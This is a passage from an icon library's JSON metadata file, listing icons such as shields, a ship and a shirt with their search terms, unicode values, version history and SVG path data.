    "unicode": "f1e0",
    "label": "Share Nodes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 224c53 0 96-43 96-96s-43-96-96-96s-96 43-96 96c0 4 .2 8 .7 11.9l-94.1 47C145.4 170.2 121.9 160 96 160c-53 0-96 43-96 96s43 96 96 96c25.9 0 49.4-10.2 66.6-26.9l94.1 47c-.5 3.9-.7 7.8-.7 11.9c0 53 43 96 96 96s96-43 96-96s-43-96-96-96c-25.9 0-49.4 10.2-66.6 26.9l-94.1-47c.5-3.9 .7-7.8 .7-11.9s-.2-8-.7-11.9l94.1-47C302.6 213.8 326.1 224 352 224z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 224c53 0 96-43 96-96s-43-96-96-96s-96 43-96 96c0 4 .2 8 .7 11.9l-94.1 47C145.4 170.2 121.9 160 96 160c-53 0-96 43-96 96s43 96 96 96c25.9 0 49.4-10.2 66.6-26.9l94.1 47c-.5 3.9-.7 7.8-.7 11.9c0 53 43 96 96 96s96-43 96-96s-43-96-96-96c-25.9 0-49.4 10.2-66.6 26.9l-94.1-47c.5-3.9 .7-7.8 .7-11.9s-.2-8-.7-11.9l94.1-47C302.6 213.8 326.1 224 352 224z"
      }
    },
    "free": ["solid"]
  },
  "sheet-plastic": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "plastic",
        "plastic wrap",
        "protect",
        "tarp",
        "tarpaulin",
        "waterproof"
      ]
    },
    "styles": ["solid"],
    "unicode": "e571",
    "label": "Sheet Plastic",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 448c0 35.3 28.7 64 64 64H224V384c0-17.7 14.3-32 32-32H384V64c0-35.3-28.7-64-64-64H64C28.7 0 0 28.7 0 64V448zM171.3 75.3l-96 96c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l96-96c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6zm96 32l-160 160c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l160-160c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6zM384 384H256V512L384 384z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 448c0 35.3 28.7 64 64 64H224V384c0-17.7 14.3-32 32-32H384V64c0-35.3-28.7-64-64-64H64C28.7 0 0 28.7 0 64V448zM171.3 75.3l-96 96c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l96-96c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6zm96 32l-160 160c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l160-160c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6zM384 384H256V512L384 384z"
      }
    },
    "free": ["solid"]
  },
  "shekel-sign": {
    "aliases": {
      "names": ["ils", "shekel", "sheqel", "sheqel-sign"],
      "unicodes": {
        "composite": ["20aa"],
        "secondary": ["10f20b"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["New Sheqel Sign", "currency", "ils", "money"]
    },
    "styles": ["solid"],
    "unicode": "f20b",
    "label": "Shekel Sign",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V96H192c35.3 0 64 28.7 64 64V320c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-70.7-57.3-128-128-128H32zM320 480c70.7 0 128-57.3 128-128V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352c0 35.3-28.7 64-64 64H192V192c0-17.7-14.3-32-32-32s-32 14.3-32 32V448c0 17.7 14.3 32 32 32H320z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V96H192c35.3 0 64 28.7 64 64V320c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-70.7-57.3-128-128-128H32zM320 480c70.7 0 128-57.3 128-128V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352c0 35.3-28.7 64-64 64H192V192c0-17.7-14.3-32-32-32s-32 14.3-32 32V448c0 17.7 14.3 32 32 32H320z"
      }
    },
    "free": ["solid"]
  },
  "shield": {
    "aliases": {
      "names": ["shield-blank"],
      "unicodes": {
        "composite": ["1f6e1"],
        "secondary": ["10f132"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "armor",
        "award",
        "block",
        "cleric",
        "defend",
        "defense",
        "holy",
        "paladin",
        "protect",
        "safety",
        "security",
        "shield",
        "weapon",
        "winner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f132",
    "label": "Shield",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c4.6 0 9.2 1 13.4 2.9L457.7 82.8c22 9.3 38.4 31 38.3 57.2c-.5 99.2-41.3 280.7-213.6 363.2c-16.7 8-36.1 8-52.8 0C57.3 420.7 16.5 239.2 16 140c-.1-26.2 16.3-47.9 38.3-57.2L242.7 2.9C246.8 1 251.4 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c4.6 0 9.2 1 13.4 2.9L457.7 82.8c22 9.3 38.4 31 38.3 57.2c-.5 99.2-41.3 280.7-213.6 363.2c-16.7 8-36.1 8-52.8 0C57.3 420.7 16.5 239.2 16 140c-.1-26.2 16.3-47.9 38.3-57.2L242.7 2.9C246.8 1 251.4 0 256 0z"
      }
    },
    "free": ["solid"]
  },
  "shield-cat": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["animal", "feline", "pet", "protect", "safety", "veterinary"]
    },
    "styles": ["solid"],
    "unicode": "e572",
    "label": "Shield Cat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM160 154.4c0-5.8 4.7-10.4 10.4-10.4h.2c3.4 0 6.5 1.6 8.5 4.3l40 53.3c3 4 7.8 6.4 12.8 6.4h48c5 0 9.8-2.4 12.8-6.4l40-53.3c2-2.7 5.2-4.3 8.5-4.3h.2c5.8 0 10.4 4.7 10.4 10.4V272c0 53-43 96-96 96s-96-43-96-96V154.4zM216 288a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm96-16a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM160 154.4c0-5.8 4.7-10.4 10.4-10.4h.2c3.4 0 6.5 1.6 8.5 4.3l40 53.3c3 4 7.8 6.4 12.8 6.4h48c5 0 9.8-2.4 12.8-6.4l40-53.3c2-2.7 5.2-4.3 8.5-4.3h.2c5.8 0 10.4 4.7 10.4 10.4V272c0 53-43 96-96 96s-96-43-96-96V154.4zM216 288a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm96-16a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "shield-dog": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["animal", "canine", "pet", "protect", "safety", "veterinary"]
    },
    "styles": ["solid"],
    "unicode": "e573",
    "label": "Shield Dog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM160.9 286.2c4.8 1.2 9.9 1.8 15.1 1.8c35.3 0 64-28.7 64-64V160h44.2c12.1 0 23.2 6.8 28.6 17.7L320 192h64c8.8 0 16 7.2 16 16v32c0 44.2-35.8 80-80 80H272v50.7c0 7.3-5.9 13.3-13.3 13.3c-1.8 0-3.6-.4-5.2-1.1l-98.7-42.3c-6.6-2.8-10.8-9.3-10.8-16.4c0-2.8 .6-5.5 1.9-8l15-30zM160 160h40 8v32 32c0 17.7-14.3 32-32 32s-32-14.3-32-32V176c0-8.8 7.2-16 16-16zm128 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM160.9 286.2c4.8 1.2 9.9 1.8 15.1 1.8c35.3 0 64-28.7 64-64V160h44.2c12.1 0 23.2 6.8 28.6 17.7L320 192h64c8.8 0 16 7.2 16 16v32c0 44.2-35.8 80-80 80H272v50.7c0 7.3-5.9 13.3-13.3 13.3c-1.8 0-3.6-.4-5.2-1.1l-98.7-42.3c-6.6-2.8-10.8-9.3-10.8-16.4c0-2.8 .6-5.5 1.9-8l15-30zM160 160h40 8v32 32c0 17.7-14.3 32-32 32s-32-14.3-32-32V176c0-8.8 7.2-16 16-16zm128 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "shield-halved": {
    "aliases": {
      "names": ["shield-alt"],
      "unicodes": {
        "secondary": ["10f3ed"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "armor",
        "award",
        "block",
        "cleric",
        "defend",
        "defense",
        "holy",
        "paladin",
        "security",
        "shield",
        "weapon",
        "winner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3ed",
    "label": "Shield Halved",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c4.6 0 9.2 1 13.4 2.9L457.7 82.8c22 9.3 38.4 31 38.3 57.2c-.5 99.2-41.3 280.7-213.6 363.2c-16.7 8-36.1 8-52.8 0C57.3 420.7 16.5 239.2 16 140c-.1-26.2 16.3-47.9 38.3-57.2L242.7 2.9C246.8 1 251.4 0 256 0zm0 66.8V444.8C394 378 431.1 230.1 432 141.4L256 66.8l0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c4.6 0 9.2 1 13.4 2.9L457.7 82.8c22 9.3 38.4 31 38.3 57.2c-.5 99.2-41.3 280.7-213.6 363.2c-16.7 8-36.1 8-52.8 0C57.3 420.7 16.5 239.2 16 140c-.1-26.2 16.3-47.9 38.3-57.2L242.7 2.9C246.8 1 251.4 0 256 0zm0 66.8V444.8C394 378 431.1 230.1 432 141.4L256 66.8l0 0z"
      }
    },
    "free": ["solid"]
  },
  "shield-heart": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["love", "protect", "safe", "safety", "shield"]
    },
    "styles": ["solid"],
    "unicode": "e574",
    "label": "Shield Heart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM144 221.3c0-33.8 27.4-61.3 61.3-61.3c16.2 0 31.8 6.5 43.3 17.9l7.4 7.4 7.4-7.4c11.5-11.5 27.1-17.9 43.3-17.9c33.8 0 61.3 27.4 61.3 61.3c0 16.2-6.5 31.8-17.9 43.3l-82.7 82.7c-6.2 6.2-16.4 6.2-22.6 0l-82.7-82.7c-11.5-11.5-17.9-27.1-17.9-43.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM144 221.3c0-33.8 27.4-61.3 61.3-61.3c16.2 0 31.8 6.5 43.3 17.9l7.4 7.4 7.4-7.4c11.5-11.5 27.1-17.9 43.3-17.9c33.8 0 61.3 27.4 61.3 61.3c0 16.2-6.5 31.8-17.9 43.3l-82.7 82.7c-6.2 6.2-16.4 6.2-22.6 0l-82.7-82.7c-11.5-11.5-17.9-27.1-17.9-43.3z"
      }
    },
    "free": ["solid"]
  },
  "shield-virus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06c"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "antibodies",
        "barrier",
        "coronavirus",
        "covid-19",
        "flu",
        "health",
        "infection",
        "pandemic",
        "protect",
        "safety",
        "vaccine"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06c",
    "label": "Shield Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM256 112c8.8 0 16 7.2 16 16c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C334.5 200.1 351 240 384 240c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0C311.9 334.5 272 351 272 384c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C177.5 311.9 161 272 128 272c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C200.1 177.5 240 161 240 128c0-8.8 7.2-16 16-16zM232 256a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm72 32a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM256 112c8.8 0 16 7.2 16 16c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C334.5 200.1 351 240 384 240c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0C311.9 334.5 272 351 272 384c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C177.5 311.9 161 272 128 272c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C200.1 177.5 240 161 240 128c0-8.8 7.2-16 16-16zM232 256a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm72 32a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "ship": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6a2"],
        "secondary": ["10f21a"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.10.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["boat", "passenger", "sea", "ship", "water"]
    },
    "styles": ["solid"],
    "unicode": "f21a",
    "label": "Ship",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M192 32c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32V64h48c26.5 0 48 21.5 48 48V240l44.4 14.8c23.1 7.7 29.5 37.5 11.5 53.9l-101 92.6c-16.2 9.4-34.7 15.1-50.9 15.1c-19.6 0-40.8-7.7-59.2-20.3c-22.1-15.5-51.6-15.5-73.7 0c-17.1 11.8-38 20.3-59.2 20.3c-16.2 0-34.7-5.7-50.9-15.1l-101-92.6c-18-16.5-11.6-46.2 11.5-53.9L96 240V112c0-26.5 21.5-48 48-48h48V32zM160 218.7l107.8-35.9c13.1-4.4 27.3-4.4 40.5 0L416 218.7V128H160v90.7zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M192 32c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32V64h48c26.5 0 48 21.5 48 48V240l44.4 14.8c23.1 7.7 29.5 37.5 11.5 53.9l-101 92.6c-16.2 9.4-34.7 15.1-50.9 15.1c-19.6 0-40.8-7.7-59.2-20.3c-22.1-15.5-51.6-15.5-73.7 0c-17.1 11.8-38 20.3-59.2 20.3c-16.2 0-34.7-5.7-50.9-15.1l-101-92.6c-18-16.5-11.6-46.2 11.5-53.9L96 240V112c0-26.5 21.5-48 48-48h48V32zM160 218.7l107.8-35.9c13.1-4.4 27.3-4.4 40.5 0L416 218.7V128H160v90.7zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "shirt": {
    "aliases": {
      "names": ["t-shirt", "tshirt"],
      "unicodes": {
        "composite": ["1f455"],
        "secondary": ["10f553"]
      }
    },
    "changes": [
      "5.0.13",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "clothing",
        "fashion",
        "garment",
        "shirt",
        "short sleeve",
        "t-shirt",
        "tshirt"
      ]
    },
    "styles": ["solid"],
    "unicode": "f553",
    "label": "Shirt",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M211.8 0c7.8 0 14.3 5.7 16.7 13.2C240.8 51.9 277.1 80 320 80s79.2-28.1 91.5-66.8C413.9 5.7 420.4 0 428.2 0h12.6c22.5 0 44.2 7.9 61.5 22.3L628.5 127.4c6.6 5.5 10.7 13.5 11.4 22.1s-2.1 17.1-7.8 23.6l-56 64c-11.4 13.1-31.2 14.6-44.6 3.5L480 197.7V448c0 35.3-28.7 64-64 64H224c-35.3 0-64-28.7-64-64V197.7l-51.5 42.9c-13.3 11.1-33.1 9.6-44.6-3.5l-56-64c-5.7-6.5-8.5-15-7.8-23.6s4.8-16.6 11.4-22.1L137.7 22.3C155 7.9 176.7 0 199.2 0h12.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M211.8 0c7.8 0 14.3 5.7 16.7 13.2C240.8 51.9 277.1 80 320 80s79.2-28.1 91.5-66.8C413.9 5.7 420.4 0 428.2 0h12.6c22.5 0 44.2 7.9 61.5 22.3L628.5 127.4c6.6 5.5 10.7 13.5 11.4 22.1s-2.1 17.1-7.8 23.6l-56 64c-11.4 13.1-31.2 14.6-44.6 3.5L480 197.7V448c0 35.3-28.7 64-64 64H224c-35.3 0-64-28.7-64-64V197.7l-51.5 42.9c-13.3 11.1-33.1 9.6-44.6-3.5l-56-64c-5.7-6.5-8.5-15-7.8-23.6s4.8-16.6 11.4-22.1L137.7 22.3C155 7.9 176.7 0 199.2 0h12.6z"
      }
    },
    "free": ["solid"]
  },
  "shirtsinbulk": {
    "changes": ["4.3.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f214",
    "label": "Shirts in Bulk",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z"
      }
    },
    "free": ["brands"]
  },
  "shoe-prints": {
    "aliases": {
      "unicodes": {
